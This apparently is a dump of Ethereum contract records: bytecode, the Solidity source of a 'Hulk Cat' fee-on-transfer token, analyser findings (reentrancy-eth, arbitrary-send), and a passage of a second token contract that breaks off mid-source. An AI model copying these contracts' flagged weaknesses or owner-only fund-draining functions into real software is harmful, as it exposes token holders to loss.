601f199092019160209182019101611707565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160201b900463ffffffff1692909214159150611882905057806033846040518082805190602001908083835b6020831061179f5780518252601f199092019160209182019101611780565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520805463ffffffff191663ffffffff97881617905594861684820152848452875194840194909452505084517f4e4815a8ed68d56a8392bcf693cb58722162911099173258d7f68e773332bf65928692859290918291606083019186019080838360005b8381101561184657818101518382015260200161182e565b50505050905090810190601f1680156118735780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b611890603654603554611e29565b6033846040518082805190602001908083835b602083106118c25780518252601f1990920191602091820191016118a3565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160201b900463ffffffff169290921080159250905061198557508063ffffffff166037546033856040518082805190602001908083835b602083106119465780518252601f199092019160209182019101611927565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205463ffffffff169290920192909211159150505b8015611a0f57508063ffffffff16621275006037546033866040518082805190602001908083835b602083106119cc5780518252601f1990920191602091820191016119ad565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205463ffffffff16929092019290920192909210159150505b15611c405760006033846040518082805190602001908083835b60208310611a485780518252601f199092019160209182019101611a29565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420805467ffffffff000000001916600160201b63ffffffff97909716969096029590951790945550508451600092603392879290918291908401908083835b60208310611ad05780518252601f199092019160209182019101611ab1565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420805463ffffffff191663ffffffff96909616959095179094555050845160339286929182918401908083835b60208310611b465780518252601f199092019160209182019101611b27565b51815160001960209485036101000a01908116901991909116179052920194855250604080519485900382018520805467ffffffffffffffff600160401b8083048216600101909116026fffffffffffffffff00000000000000001990911617905581855287518583015287517feee671098653608399c169efe3fe0b35de84b53b12271f817827babe50e4567295899550935083929183019185019080838360005b83811015611c01578181015183820152602001611be9565b50505050905090810190601f168015611c2e5780820380516001836020036101000a031916815260200191505b509250505060405180910390a1600194505b5050505090565b303b1590565b6001600160a01b03811660009081526034602052604090205460ff1615611cbb576040805162461bcd60e51b815260206004820181905260248201527f546865206f776e65722068617320616c7265616479206265656e206164646564604482015290519081900360640190fd5b6001600160a01b038116600081815260346020526040808220805460ff19166001908117909155603580549091019055517e3022ab55d1c392fbebfcfce0fdc7d2ddaec03726ebbcce923aa68f84700d929190a250565b6001600160a01b03811660009081526034602052604090205460ff16611d7f576040805162461bcd60e51b815260206004820152601d60248201527f546869732061646472657373206973206e6f7420746865206f776e6572000000604482015290519081900360640190fd5b600160355411611dd6576040805162461bcd60e51b815260206004820152601b60248201527f4174206c65617374206f6e65206f776e65722072657175697265640000000000604482015290519081900360640190fd5b6001600160a01b038116600081815260346020526040808220805460ff1916905560358054600019019055517fe1cf9c7f702bd0ed39082af1a36a8c3440c60cb2ff5dc98c4eadb11babe83ef09190a250565b600081831115611e395781611e3b565b825b939250505056fe4172726179206c656e67746873206861766520746f2062652067726561746572207468616e207a65726f436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656444656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e4d696e566f746573206861766520746f2062652067726561746572207468616e207a65726fa265627a7a72315820999cd150b2f70c6b1ed1bf7df00bdc3cdba5a41fb8ad9ae20253d04a4cc8190c64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 9,469 |
0xfd0E9b1f74BE847312643CCd81555d65a48D42e6
|
//SPDX-License-Identifier: None
// Telegram: t.me/hulkcat
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="HC";
string constant TOKEN_NAME="Hulk Cat";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract HulkCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b951461029e578063a9059cbb146102be578063dd62ed3e146102de578063f42938901461032457600080fd5b806370a0823114610216578063715018a6146102365780638da5cb5b1461024b57806395d89b411461027357600080fd5b8063293230b8116100c6578063293230b8146101b9578063313ce567146101d05780633e07ce5b146101ec57806351bc3c851461020157600080fd5b806306fdde0314610103578063095ea7b31461014657806318160ddd1461017657806323b872dd1461019957600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526008815267121d5b1ac810d85d60c21b60208201525b60405161013d9190611398565b60405180910390f35b34801561015257600080fd5b50610166610161366004611402565b610339565b604051901515815260200161013d565b34801561018257600080fd5b5061018b610350565b60405190815260200161013d565b3480156101a557600080fd5b506101666101b436600461142e565b610371565b3480156101c557600080fd5b506101ce6103da565b005b3480156101dc57600080fd5b506040516006815260200161013d565b3480156101f857600080fd5b506101ce610752565b34801561020d57600080fd5b506101ce610788565b34801561022257600080fd5b5061018b61023136600461146f565b6107b5565b34801561024257600080fd5b506101ce6107d7565b34801561025757600080fd5b506000546040516001600160a01b03909116815260200161013d565b34801561027f57600080fd5b50604080518082019091526002815261484360f01b6020820152610130565b3480156102aa57600080fd5b506101ce6102b936600461148c565b61087b565b3480156102ca57600080fd5b506101666102d9366004611402565b6108a4565b3480156102ea57600080fd5b5061018b6102f93660046114a5565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033057600080fd5b506101ce6108b1565b600061034633848461091b565b5060015b92915050565b600061035e6006600a6115d8565b61036c906305f5e1006115e7565b905090565b600061037e848484610a3f565b6103d084336103cb8560405180606001604052806028815260200161174c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc4565b61091b565b5060019392505050565b6009546001600160a01b031633146103f157600080fd5b600c54600160a01b900460ff16156104505760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461047c9030906001600160a01b031661046e6006600a6115d8565b6103cb906305f5e1006115e7565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190611606565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105799190611606565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ea9190611606565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061a816107b5565b60008061062f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610697573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106bc9190611623565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f9190611651565b50565b6009546001600160a01b0316331461076957600080fd5b6107756006600a6115d8565b610783906305f5e1006115e7565b600a55565b6009546001600160a01b0316331461079f57600080fd5b60006107aa306107b5565b905061074f81610cfe565b6001600160a01b03811660009081526002602052604081205461034a90610e78565b6000546001600160a01b031633146108315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610447565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089257600080fd5b6009811061089f57600080fd5b600855565b6000610346338484610a3f565b6009546001600160a01b031633146108c857600080fd5b4761074f81610ef5565b600061091483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f33565b9392505050565b6001600160a01b03831661097d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b0382166109de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610b055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b60008111610b675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b6000546001600160a01b03848116911614801590610b9357506000546001600160a01b03838116911614155b15610cb457600c546001600160a01b038481169116148015610bc35750600b546001600160a01b03838116911614155b8015610be857506001600160a01b03821660009081526004602052604090205460ff16155b15610c3e57600a548110610c3e5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610447565b6000610c49306107b5565b600c54909150600160a81b900460ff16158015610c745750600c546001600160a01b03858116911614155b8015610c895750600c54600160b01b900460ff165b15610cb257610c9781610cfe565b47670de0b6b3a76400008110610cb057610cb047610ef5565b505b505b610cbf838383610f61565b505050565b60008184841115610ce85760405162461bcd60e51b81526004016104479190611398565b506000610cf58486611673565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4657610d4661168a565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc39190611606565b81600181518110610dd657610dd661168a565b6001600160a01b039283166020918202929092010152600b54610dfc913091168461091b565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e359085906000908690309042906004016116a0565b600060405180830381600087803b158015610e4f57600080fd5b505af1158015610e63573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610edf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610447565b6000610ee9610f6c565b905061091483826108d2565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f2f573d6000803e3d6000fd5b5050565b60008183610f545760405162461bcd60e51b81526004016104479190611398565b506000610cf58486611711565b610cbf838383610f8f565b6000806000610f79611086565b9092509050610f8882826108d2565b9250505090565b600080600080600080610fa187611108565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd39087611165565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100290866111a7565b6001600160a01b03891660009081526002602052604090205561102481611206565b61102e8483611250565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107391815260200190565b60405180910390a3505050505050505050565b60055460009081908161109b6006600a6115d8565b6110a9906305f5e1006115e7565b90506110d16110ba6006600a6115d8565b6110c8906305f5e1006115e7565b600554906108d2565b8210156110ff576005546110e76006600a6115d8565b6110f5906305f5e1006115e7565b9350935050509091565b90939092509050565b60008060008060008060008060006111258a600754600854611274565b9250925092506000611135610f6c565b905060008060006111488e8787876112c9565b919e509c509a509598509396509194505050505091939550919395565b600061091483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc4565b6000806111b48385611733565b9050838110156109145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b6000611210610f6c565b9050600061121e8383611319565b3060009081526002602052604090205490915061123b90826111a7565b30600090815260026020526040902055505050565b60055461125d9083611165565b60055560065461126d90826111a7565b6006555050565b600080808061128e60646112888989611319565b906108d2565b905060006112a160646112888a89611319565b905060006112b9826112b38b86611165565b90611165565b9992985090965090945050505050565b60008080806112d88886611319565b905060006112e68887611319565b905060006112f48888611319565b90506000611306826112b38686611165565b939b939a50919850919650505050505050565b6000826113285750600061034a565b600061133483856115e7565b9050826113418583611711565b146109145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b600060208083528351808285015260005b818110156113c5578581018301518582016040015282016113a9565b818111156113d7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461074f57600080fd5b6000806040838503121561141557600080fd5b8235611420816113ed565b946020939093013593505050565b60008060006060848603121561144357600080fd5b833561144e816113ed565b9250602084013561145e816113ed565b929592945050506040919091013590565b60006020828403121561148157600080fd5b8135610914816113ed565b60006020828403121561149e57600080fd5b5035919050565b600080604083850312156114b857600080fd5b82356114c3816113ed565b915060208301356114d3816113ed565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561152f578160001904821115611515576115156114de565b8085161561152257918102915b93841c93908002906114f9565b509250929050565b6000826115465750600161034a565b816115535750600061034a565b816001811461156957600281146115735761158f565b600191505061034a565b60ff841115611584576115846114de565b50506001821b61034a565b5060208310610133831016604e8410600b84101617156115b2575081810a61034a565b6115bc83836114f4565b80600019048211156115d0576115d06114de565b029392505050565b600061091460ff841683611537565b6000816000190483118215151615611601576116016114de565b500290565b60006020828403121561161857600080fd5b8151610914816113ed565b60008060006060848603121561163857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166357600080fd5b8151801515811461091457600080fd5b600082821015611685576116856114de565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f05784516001600160a01b0316835293830193918301916001016116cb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172e57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611746576117466114de565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204724e6304ae66f4684e389b4c107fa4fa0d9e8050d326fbbeac8b8d52c985aa764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,470 |
0x2ebb628c39e9a958f0f110453dc21261891e5a9f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
/**
Tyson has 3 tigers
https://michaelgerardtiger.com/
*/
/*
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MikeTiger is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Michael Gerard Tiger";
string private constant _symbol = "Mike Tiger";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x7B9E5601E70835525D6aE93DdE9FfF5e95FC8358);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
